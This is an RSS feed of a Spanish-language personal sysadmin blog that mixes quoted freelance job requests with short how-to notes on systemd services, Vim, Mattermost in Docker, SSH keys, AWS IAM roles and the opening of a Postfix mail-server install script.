https://imlauera.github.io/post/devops_linux_admin_vpn_location_servers_mobile_app_setup_aws_and_ubuntu/
Thu, 26 Sep 2024 11:58:27 -0300
https://imlauera.github.io/post/devops_linux_admin_vpn_location_servers_mobile_app_setup_aws_and_ubuntu/
<p>Estamos buscando un experto en tecnologías de aplicaciones VPN para arreglar algunas de las conexiones de los servidores de nuestras ubicaciones.<br>
Necesita saber cómo trabajar con Linux, Ubuntu, AWS.<br>
Necesito saber Open VPN.<br>
Necesito conocer Heroku.<br>
Buscando un desarrollador inteligente, que identifique rápidamente los problemas y proponga diferentes soluciones para resolverlos.<br>
Necesita tener una excelente comunicación con nosotros, diariamente.<br>
Trabaja a través de Skype y Jira.</p>
<p>Existe la posibilidad de seguir trabajando en estas aplicaciones (4 aplicaciones de VPN) en el futuro dependiendo del éxito de esta tarea.</p>
-
Profile Pic Maker y banner
https://imlauera.github.io/post/linkedin_professional_photo_maker/
Wed, 25 Sep 2024 21:49:03 -0300
https://imlauera.github.io/post/linkedin_professional_photo_maker/
<h4 id="profile-pic">Profile pic</h4>
<p><a href="https://app.pfpmaker.com/results/">https://app.pfpmaker.com/results/</a></p>
<h5 id="creá-tu-banner">Creá tu banner</h5>
<p><a href="https://www.canva.com/linkedin-banners/templates/">https://www.canva.com/linkedin-banners/templates/</a></p>
-
Looking for Devops Person to Deploy and Configure KumoMTA
https://imlauera.github.io/post/looking_for_devops/
Wed, 25 Sep 2024 20:07:45 -0300
https://imlauera.github.io/post/looking_for_devops/
<p>Estoy buscando a alguien que me ayude a implementar y configurar KumoMTA en Linux. Este es el servidor SMTP de código abierto que quiero implementar. También quiero la guía de instalación.</p>
-
DevOps Consulting Needed
https://imlauera.github.io/post/devops_consulting_needed/
Wed, 25 Sep 2024 20:05:39 -0300
https://imlauera.github.io/post/devops_consulting_needed/
<p>Título: Configuración del proxy inverso de Nginx para Strapi en la subruta (/blog/strapi): se necesita ayuda</p>
<p>Descripción:
Estoy buscando un desarrollador experimentado de Nginx y Strapi para ayudarme a resolver un problema con mi implementación de Strapi. Tengo Strapi ejecutándose en la subruta /blog/strapi de mi sitio web y necesito que sea completamente funcional, incluido el acceso al panel de administración, las rutas API y las cargas, todo bajo esta subruta.
Nginx se utiliza como proxy inverso para enrutar solicitudes a Strapi, que se ejecuta en el puerto 1350. El desafío es garantizar que Strapi funcione correctamente en /blog/strapi sin problemas de enrutamiento ni errores 404. Específicamente:
/blog/strapi/admin debería cargar la interfaz de administración.
/blog/strapi/api debería servir a los puntos finales de la API.
/blog/strapi/uploads debería manejar la carga de archivos.
Problemas actuales:
Las rutas de administración intentan cargar desde /admin en lugar de /blog/strapi/admin.
Las llamadas y cargas de API no se enrutan correctamente.
Algunas rutas devuelven 404 o están mal enrutadas debido a una configuración incorrecta del proxy inverso de Nginx.
Lo que necesito:
Corrija la configuración del proxy inverso de Nginx que enrute correctamente todas las solicitudes a Strapi (que se ejecuta en el puerto 1350) en la subruta /blog/strapi.
Asegúrese de que todas las funcionalidades de Strapi (interfaz de administración, API, cargas, etc.) sean accesibles y funcionen desde /blog/strapi/.
Resuelva cualquier error de enrutamiento, redirección o 404.
El medio ambiente:
Nginx como proxy inverso.
Strapi ejecutándose en el puerto 1350.
Sitio web: gmdirecthire.co.uk
La ruta secundaria para Strapi es /blog/strapi.
Si tiene experiencia con configuraciones de proxy inverso de Nginx e implementaciones de Strapi, me encantaría saber de usted. Por favor déjeme saber su disponibilidad y el costo estimado para esta tarea.
¡Gracias!</p>
-
Transfer Data From Aws to Dropbox
https://imlauera.github.io/post/transfer_data_from_aws_dropbox/
Wed, 25 Sep 2024 20:05:01 -0300
https://imlauera.github.io/post/transfer_data_from_aws_dropbox/
<p>Hi , as discussed I will give you login details for lightsail and Dropbox</p>
<p>Please complete by Monday .</p>
-
Hostear archivos telegram
https://imlauera.github.io/post/hostear_archivos_telegram/
Wed, 25 Sep 2024 19:57:24 -0300
https://imlauera.github.io/post/hostear_archivos_telegram/
<h4 id="configurar-hosteo-de-archivos-en-telegram">Configurar hosteo de archivos en Telegram</h4>
<ul>
<li>Para hacerlo deben crear un canal de telegram</li>
<li>Crear un bot <a href="https://core.telegram.org/bots">https://core.telegram.org/bots</a></li>
<li>Añadir el bot al canal</li>
<li>Conseguir la id del canal <a href="https://stackoverflow.com/questions/33858927/how-to-obtain-the-chat-id-of-a-private-telegram-channel">https://stackoverflow.com/questions/33858927/how-to-obtain-the-chat-id-of-a-private-telegram-channel</a></li>
<li>Una vez hecho esto deben editar el archivo de configuracion</li>
</ul>
<p>Una vez hecho esto deben editar el archivo de configuracion <code>/appsettings.development.json</code>
En usar telegram ponen true, en BotId y ChatId ponen el token del bot y la id del canal.</p>
-
Agregar un servicio a Systemd
https://imlauera.github.io/post/systemd_service/
Wed, 25 Sep 2024 19:48:04 -0300
https://imlauera.github.io/post/systemd_service/
<p><a href="https://www.youtube.com/watch?v=2gyKkgguyxE">https://www.youtube.com/watch?v=2gyKkgguyxE</a><br>
<a href="https://www.youtube.com/watch?v=fYQBvjYQ63U">https://www.youtube.com/watch?v=fYQBvjYQ63U</a><br>
<a href="https://www.youtube.com/watch?v=6Cz6A8P0B2U">https://www.youtube.com/watch?v=6Cz6A8P0B2U</a></p>
<p>En este tutorial se habló del video: <a href="https://www.youtube.com/watch?v=xvDXSIcl3vc">https://www.youtube.com/watch?v=xvDXSIcl3vc</a></p>
<p>Un archivo UNIT simple en <code>/etc/systemd/system</code> proporcionará un servicio compatible con <code>systemd</code> en un sistema Linux.</p>
<p>Creá un archivo llamado :</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>vim helloworldd.service<span style="color:#e6db74">`</span>
</span></span><span style="display:flex;"><span>cp helloworld.service /etc/systemd/system
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#f92672">[</span>Unit<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>Description<span style="color:#f92672">=</span>Hello World Service
</span></span><span style="display:flex;"><span>After<span style="color:#f92672">=</span>multi-user.target
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>Service<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>Type<span style="color:#f92672">=</span>simple
</span></span><span style="display:flex;"><span>ExecStart<span style="color:#f92672">=</span>/usr/local/sbin/helloworldd start
</span></span><span style="display:flex;"><span>ExecStop<span style="color:#f92672">=</span>/usr/local/sbin/helloworldd stop
</span></span><span style="display:flex;"><span>TimeoutStopSec<span style="color:#f92672">=</span>infinity
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>Install<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>WantedBy<span style="color:#f92672">=</span>multi-user.target
</span></span></code></pre></div><p><strong>Para que el script funcione</strong> creamos un demonio llamado <code>helloworldd</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e">#!/bin/bash
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">function</span> hellostart<span style="color:#f92672">(){</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">while</span> <span style="color:#f92672">[</span> <span style="color:#ae81ff">1</span> <span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">do</span>
</span></span><span style="display:flex;"><span> echo Hello World <span style="color:#66d9ef">$(</span>date<span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span> sleep <span style="color:#ae81ff">10</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">done</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">function</span> hellostop<span style="color:#f92672">(){</span>
</span></span><span style="display:flex;"><span> killall <span style="color:#66d9ef">$(</span>basename $0<span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">case</span> <span style="color:#e6db74">"</span>$1<span style="color:#e6db74">"</span> in
</span></span><span style="display:flex;"><span> start<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span> hellostart
</span></span><span style="display:flex;"><span> ;;
</span></span><span style="display:flex;"><span> stop<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span> hellostop
</span></span><span style="display:flex;"><span> ;;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">esac</span>
</span></span></code></pre></div><hr>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>cp helloworldd /usr/local/bin
</span></span></code></pre></div><p><strong>After</strong>:<br>
<code>After=multi-user.target</code> significa que el servicio iniciará después que el <code>multi-user.target</code> esté listo.<br>
Otras posibilidades de <strong>target</strong> es por ejemplo <code>network</code>.</p>
-
Ciclo otto sonda lambda
https://imlauera.github.io/post/ciclo_otto_sonda_lambda/
Wed, 25 Sep 2024 19:45:26 -0300
https://imlauera.github.io/post/ciclo_otto_sonda_lambda/
<p><a href="https://www.race.es/sonda-lambda">https://www.race.es/sonda-lambda</a></p>
<p><a href="https://es.wikipedia.org/wiki/Ciclo_Otto">https://es.wikipedia.org/wiki/Ciclo_Otto</a></p>
-
Mi Configuración de Vim
https://imlauera.github.io/post/mi_configuracion_vim/
Wed, 25 Sep 2024 16:29:35 -0300
https://imlauera.github.io/post/mi_configuracion_vim/
<p>Después de instalar ArchLinux configuro mi Vim así:</p>
<p>Descargá VIM plug:</p>
<p>curl -O <a href="https://raw.githubusercontent.com/junegunn/vim-plug/master/plug.vim">https://raw.githubusercontent.com/junegunn/vim-plug/master/plug.vim</a></p>
<h6 id="corrector-ortográfico">Corrector ortográfico</h6>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>mkdir -p ~/.vim/spell
</span></span><span style="display:flex;"><span>cd ~/.vim/spell
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>wget --no-check-certificate https://ftp.nluug.nl/vim/runtime/spell/es.latin1.spl
</span></span><span style="display:flex;"><span>wget --no-check-certificate https://ftp.nluug.nl/vim/runtime/spell/es.latin1.sug
</span></span><span style="display:flex;"><span>wget --no-check-certificate https://ftp.nluug.nl/vim/runtime/spell/es.utf-8.spl
</span></span><span style="display:flex;"><span>wget --no-check-certificate https://ftp.nluug.nl/vim/runtime/spell/es.utf-8.sug
</span></span></code></pre></div><h5 id="esta-es-mi-configuración-actual-sin-plugins">Esta es mi configuración actual (sin plugins):</h5>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>xnoremap <silent> <C-@> :w !wl-copy<CR><CR> <span style="color:#75715e"># Copiar en Wayland</span>
</span></span><span style="display:flex;"><span>set tabstop<span style="color:#f92672">=</span><span style="color:#ae81ff">4</span> shiftwidth<span style="color:#f92672">=</span><span style="color:#ae81ff">4</span> expandtab
</span></span><span style="display:flex;"><span>:setlocal spell spelllang<span style="color:#f92672">=</span>en,es
</span></span><span style="display:flex;"><span>syntax on
</span></span><span style="display:flex;"><span>set hlsearch <span style="color:#e6db74">" highlight all search results set ignorecase "</span> <span style="color:#66d9ef">do</span> <span style="color:#66d9ef">case</span> insensitive search
</span></span><span style="display:flex;"><span>set incsearch <span style="color:#e6db74">" show incremental search results as you type
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">set noswapfile "</span> disable swap file
</span></span><span style="display:flex;"><span>set ignorecase
</span></span><span style="display:flex;"><span>color pablo
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>set ai
</span></span><span style="display:flex;"><span>set ic
</span></span></code></pre></div><hr>
<p>Acá está mi configuracion de w3m(en wayland tenes que usar sixel): <a href="https://imlauera.github.io/mi_configuracion_w3m/">https://imlauera.github.io/mi_configuracion_w3m/</a> (<code>w3m -sixel google.com</code>)
Y acá está mi configuración de <code>config/fish/config.fish</code>: <a href="https://imlauera.github.io/tinywl_foot_tmux_w3m_falkon/">https://imlauera.github.io/tinywl_foot_tmux_w3m_falkon/</a></p>
-
Tomcat 9 Optimization on Ubuntu
https://imlauera.github.io/post/tomcat_9_optimization_on_ubuntu/
Wed, 25 Sep 2024 15:36:58 -0300
https://imlauera.github.io/post/tomcat_9_optimization_on_ubuntu/
<blockquote>
<p>Tomcat es un servidor web o contenedor web donde los desarrolladores pueden implementar aplicaciones web Java.</p>
</blockquote>
<blockquote>
<p>Apache Tomcat es un contenedor de servlets que permite ejecutar aplicaciones web basadas en Java, facilitando la implementación y gestión de servicios web.</p>
</blockquote>
<blockquote>
<p>Apache Tomcat es un contenedor de servlets de código abierto que se utiliza principalmente para compilar y ejecutar aplicaciones web basadas en Java, soportando tecnologías como JavaServer Pages (JSP), Java Servlet y WebSocket, lo que lo convierte en una opción popular para el desarrollo y despliegue de aplicaciones web dinámicas. Además, Tomcat puede funcionar de manera autónoma o en combinación con otros servidores web, como Apache HTTP, para mejorar su rendimiento y funcionalidad.</p>
-
Subtitulo de todas clases de reparación de electrodomésticos
https://imlauera.github.io/post/todas_clases_electro/
Wed, 25 Sep 2024 14:26:32 -0300
https://imlauera.github.io/post/todas_clases_electro/
<p>Acá tienen: <a href="https://imlauera.github.io/subtitulos.tar.gz">todos subtitulos desde la 2da clase hasta la 12</a>
Sirve para buscar más rápido en que minuto habló de tal cosa.
Descomprimí el tar con</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>tar xvf subtitulos.tar.gz
</span></span><span style="display:flex;"><span>grep -i ventilador *
</span></span></code></pre></div><h3 id="pueden-descargarlas-manualmente-así-acá-están-desde-la-2-hasta-12">Pueden descargarlas manualmente así (acá están desde la 2 hasta 12):</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>yt-dlp --ignore-config --write-auto-sub --write-sub --sub-lang es --skip-download https://www.youtube.com/watch?v<span style="color:#f92672">=</span>3nJnAqAZQpY &
</span></span><span style="display:flex;"><span>yt-dlp --ignore-config --write-auto-sub --write-sub --sub-lang es --skip-download https://www.youtube.com/watch?v<span style="color:#f92672">=</span>FEQ6iXWc2FQ &
</span></span><span style="display:flex;"><span>yt-dlp --ignore-config --write-auto-sub --write-sub --sub-lang es --skip-download https://youtu.be/OSlqnhmQsMQ &
</span></span><span style="display:flex;"><span>yt-dlp --ignore-config --write-auto-sub --write-sub --sub-lang es --skip-download https://youtu.be/LWxML1Yv3IY &
</span></span><span style="display:flex;"><span>yt-dlp --ignore-config --write-auto-sub --write-sub --sub-lang es --skip-download https://youtu.be/4LCbuu2Wa_4 &
</span></span><span style="display:flex;"><span>yt-dlp --ignore-config --write-auto-sub --write-sub --sub-lang es --skip-download https://youtu.be/5RjcuVO6T3I &
</span></span><span style="display:flex;"><span>yt-dlp --ignore-config --write-auto-sub --write-sub --sub-lang es --skip-download https://youtu.be/HOFVsSnZ_a4 &
</span></span><span style="display:flex;"><span>yt-dlp --ignore-config --write-auto-sub --write-sub --sub-lang es --skip-download https://youtu.be/xniJUxh04qI &
</span></span><span style="display:flex;"><span>yt-dlp --ignore-config --write-auto-sub --write-sub --sub-lang es --skip-download https://youtu.be/jzlRd4U2xI4 &
</span></span><span style="display:flex;"><span>yt-dlp --ignore-config --write-auto-sub --write-sub --sub-lang es --skip-download https://www.youtube.com/watch?v<span style="color:#f92672">=</span>VBKQeiF5XVM &
</span></span><span style="display:flex;"><span>yt-dlp --ignore-config --write-auto-sub --write-sub --sub-lang es --skip-download https://youtu.be/kCyNtZ1t94s &
</span></span></code></pre></div><p>Luego <code>grep -i ventilador *</code></p>
-
Ajedrez: Banana kid
https://imlauera.github.io/post/banana_kid/
Wed, 25 Sep 2024 00:14:56 -0300
https://imlauera.github.io/post/banana_kid/
<p><a href="https://youtube.com/watch?v=4haH9ZJCtd4">https://youtube.com/watch?v=4haH9ZJCtd4</a></p>
<p>Nenitos jugando al ajedrez con adultos y estaban tan aburridos que empezaron a jugar simulando hablar por teléfono mientras el adulto seguía pensando la siguiente jugada. Una humillación tremenda.</p>
-
Ec2 aws cli
https://imlauera.github.io/post/ec2_aws_cli/
Tue, 24 Sep 2024 22:59:39 -0300
https://imlauera.github.io/post/ec2_aws_cli/
<p><a href="https://www.youtube.com/watch?v=crNyDkR3ulU">https://www.youtube.com/watch?v=crNyDkR3ulU</a></p>
<p>Hacer esto es inseguro:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>aws configure
</span></span></code></pre></div><p>Andá a tu amazon y buscá IAM > instances > seleccioná tu país a la derecha.</p>
<p>Seleccioná la instancia y mirá la IP pública, hacele un ssh a esa IP.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ssh -i EC2Tutorial.pem ec2-user@ippublica
</span></span></code></pre></div><p>Cuando ejecutes <code>aws s3 ls</code> configure te va a decir Unable to locale credentials. Tenés que ir en IAM y roles > create role > ec2 > s3 > next > name: myfirsts3role description: allows ec2 to make read-only calls to amazon s3. > next.</p>
-
Redireccionar
https://imlauera.github.io/post/redireccionar/
Tue, 24 Sep 2024 20:40:27 -0300
https://imlauera.github.io/post/redireccionar/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-html" data-lang="html"><span style="display:flex;"><span><<span style="color:#f92672">html</span>>
</span></span><span style="display:flex;"><span><<span style="color:#f92672">meta</span> <span style="color:#a6e22e">http-equiv</span><span style="color:#f92672">=</span><span style="color:#e6db74">"refresh"</span> <span style="color:#a6e22e">content</span><span style="color:#f92672">=</span><span style="color:#e6db74">"0; url=http://example.com/"</span> />
</span></span><span style="display:flex;"><span></<span style="color:#f92672">html</span>>
</span></span></code></pre></div>
-
Mattermost
https://imlauera.github.io/post/mattermost/
Tue, 24 Sep 2024 17:11:22 -0300
https://imlauera.github.io/post/mattermost/
<p><a href="https://www.youtube.com/watch?v=9BgVRShk00Y">https://www.youtube.com/watch?v=9BgVRShk00Y</a><br>
<a href="https://www.youtube.com/watch?v=zL9mjKrEuKY">https://www.youtube.com/watch?v=zL9mjKrEuKY</a><br>
<a href="https://www.youtube.com/watch?v=z4yPSEMm22g">https://www.youtube.com/watch?v=z4yPSEMm22g</a><br>
<a href="https://www.youtube.com/watch?v=aT1HG8EHMDA">https://www.youtube.com/watch?v=aT1HG8EHMDA</a><br>
<a href="https://www.youtube.com/watch?v=6TJH2p1HcwA">https://www.youtube.com/watch?v=6TJH2p1HcwA</a><br>
<a href="https://www.youtube.com/watch?v=HySOrcCBhUs">https://www.youtube.com/watch?v=HySOrcCBhUs</a><br>
<a href="https://www.youtube.com/watch?v=H_2i7j1MU-0">https://www.youtube.com/watch?v=H_2i7j1MU-0</a><br>
<a href="https://www.youtube.com/watch?v=OAAfe500Gc4">https://www.youtube.com/watch?v=OAAfe500Gc4</a></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo su
</span></span><span style="display:flex;"><span><span style="color:#75715e">### Instalá docker, habilitá docker para que inicie al boot.</span>
</span></span><span style="display:flex;"><span>systemctl enable docker systemctl start docker
</span></span><span style="display:flex;"><span>Instalá docker-compose
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#NO: docker run --name mattermost-preview -d --publish 8065:8065 mattermost/mattermost-preview</span>
</span></span><span style="display:flex;"><span>git clone https://github.com/mattermost/docker <span style="color:#f92672">&&</span> cd docker
</span></span><span style="display:flex;"><span>cp env.example.env
</span></span><span style="display:flex;"><span>vim .env
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Buscá el nombre DOMAIN borrá lo que está escrito y poné el subdominio: mattermost.example.org
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Cambiá la contraseña POSTGRES_PASSWORD en .env
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>mkdir -p ./volumes/app/mattermost/<span style="color:#f92672">{</span>config,data,logs,plugins,client/plugins,bleve-indexes<span style="color:#f92672">}</span> <span style="color:#f92672">&&</span> sudo chown -R 2000:2000 ./volumes/app/mattermost
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">## Ahora ahora andate a home como root y creá una carpeta llamada mattermost y ejecutá:</span>
</span></span><span style="display:flex;"><span>mkdir mattermost
</span></span><span style="display:flex;"><span>cd mattermost
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>wget https://dl.smallstep.com/cli/docs-cli-install/latest/step-cli_amd64.deb
</span></span><span style="display:flex;"><span>sudo dpkg -i step-cli_amd64.deb
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>step ca certificate mattermost.example.org mattermost.example.org.crt mattermost.example.org.key ingresá una contraseña y guardala en tu bitwarden por las dudas.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>scp * mattermost.example.org:
</span></span><span style="display:flex;"><span>logout
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>mkdir -p ./volumes/web/cert/
</span></span><span style="display:flex;"><span>mv /root/mattermost.example.org.crt ./volumes/web/cert/cert.pem
</span></span><span style="display:flex;"><span>mv /root/mattermost.example.org.key ./volumes/web/cert/key-no-password.key
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># docker compose -f docker-compose.yml -f docker-compose.nginx.yml up -d</span>
</span></span><span style="display:flex;"><span>docker-compose -f docker-compose.yml -f docker-compose.without-nginx.yml up -d
</span></span><span style="display:flex;"><span>docker ps -a
</span></span></code></pre></div><p>Ahora ya deberías ver tu sitio levantado en: mattermost.example.org</p>
-
Aws infra setup
https://imlauera.github.io/post/aws_infra_setup/
Tue, 24 Sep 2024 15:48:06 -0300
https://imlauera.github.io/post/aws_infra_setup/
<p>He configurado el Microsoft managed AD on AWS. Los espacios de trabajo que estoy creando a través de este directorio están unidos a un dominio. Estoy buscando una manera de extenderlo a las computadoras locales para poder administrarlas. La mayoría de nuestros usuarios son remotos y no tenemos ninguna VPN ni Internet dedicado. Todos los usuarios están conectados a través de su red doméstica.
Quiero unir las computadoras locales al dominio del directorio. Estoy abierto a explorar otras opciones como unir la computadora a Azure AD, etc.</p>
-
Ssh sin clave
https://imlauera.github.io/post/ssh_sin_clave/
Tue, 24 Sep 2024 12:17:39 -0300
https://imlauera.github.io/post/ssh_sin_clave/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo service sshd start
</span></span><span style="display:flex;"><span>sudo systemtcl start sshd
</span></span><span style="display:flex;"><span>sudo service sshd status
</span></span><span style="display:flex;"><span>ssh remote_username@remote_server_ip_address
</span></span><span style="display:flex;"><span>ssh-keygen -t ed25519 -C <span style="color:#e6db74">"[email protected]"</span>
</span></span><span style="display:flex;"><span>ssh-copy-id remote_username@remote_server_ip_address
</span></span></code></pre></div><p>Ahora podés ingresar a tu servidor sin contraseña:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ ssh remote_username@remote_server_ip_address
</span></span></code></pre></div><p>`</p>
-
Robust powerful email server: postfix
https://imlauera.github.io/post/robust_powerful_email_server/
Tue, 24 Sep 2024 12:07:06 -0300
https://imlauera.github.io/post/robust_powerful_email_server/
<p>We need to create an email server that can handle a volume of 500k emails a day to inbox for cold email marketing.Must be capable of handling bounces and spam reports</p>
<p>Luke smith: <a href="https://www.youtube.com/watch?v=Zg9z8k8pkuM">https://www.youtube.com/watch?v=Zg9z8k8pkuM</a></p>
<p>Este es el script de luke smith:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#!/bin/sh</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># BEFORE INSTALLING</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Have a Debian or Ubuntu server with a static IP and DNS records (usually</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># A/AAAA) that point your domain name to it.</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># NOTE WHILE INSTALLING</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># On installation of Postfix, select "Internet Site" and put in TLD (without</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># `mail.` before it).</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># AFTER INSTALLING</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># More DNS records will be given to you to install. One of them will be</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># different for every installation and is uniquely generated on your machine.</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>umask <span style="color:#ae81ff">0022</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>install_packages<span style="color:#f92672">=</span><span style="color:#e6db74">"postfix postfix-pcre dovecot-imapd dovecot-pop3d dovecot-sieve opendkim opendkim-tools spamassassin spamc net-tools fail2ban bind9-host"</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>systemctl -q stop dovecot
</span></span><span style="display:flex;"><span>systemctl -q stop postfix
</span></span><span style="display:flex;"><span>apt-get purge ?config-files -y $install_packages
</span></span><span style="display:flex;"><span>apt-get install -y $install_packages
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>domain<span style="color:#f92672">=</span><span style="color:#e6db74">"</span><span style="color:#66d9ef">$(</span>cat /etc/mailname<span style="color:#66d9ef">)</span><span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span>subdom<span style="color:#f92672">=</span><span style="color:#e6db74">${</span>MAIL_SUBDOM<span style="color:#66d9ef">:-</span>mail<span style="color:#e6db74">}</span>
</span></span><span style="display:flex;"><span>maildomain<span style="color:#f92672">=</span><span style="color:#e6db74">"</span>$subdom<span style="color:#e6db74">.</span>$domain<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span>certdir<span style="color:#f92672">=</span><span style="color:#e6db74">"/etc/letsencrypt/live/</span>$maildomain<span style="color:#e6db74">"</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>selfsigned<span style="color:#f92672">=</span><span style="color:#e6db74">"no"</span> <span style="color:#75715e"># yes no</span>
</span></span><span style="display:flex;"><span>allow_suboptimal_ciphers<span style="color:#f92672">=</span><span style="color:#e6db74">"yes"</span> <span style="color:#75715e">#yes no</span>
</span></span><span style="display:flex;"><span>mailbox_format<span style="color:#f92672">=</span><span style="color:#e6db74">"maildir"</span> <span style="color:#75715e"># maildir sdbox</span>
</span></span><span style="display:flex;"><span>allowed_protocols<span style="color:#f92672">=</span><span style="color:#e6db74">" imap pop3 "</span> <span style="color:#75715e">#imap pop3</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>use_cert_config<span style="color:#f92672">=</span><span style="color:#e6db74">"no"</span>
</span></span><span style="display:flex;"><span>country_name<span style="color:#f92672">=</span><span style="color:#e6db74">""</span> <span style="color:#75715e"># IT US UK IN etc etc</span>
</span></span><span style="display:flex;"><span>state_or_province_name<span style="color:#f92672">=</span><span style="color:#e6db74">""</span>
</span></span><span style="display:flex;"><span>organization_name<span style="color:#f92672">=</span><span style="color:#e6db74">""</span>
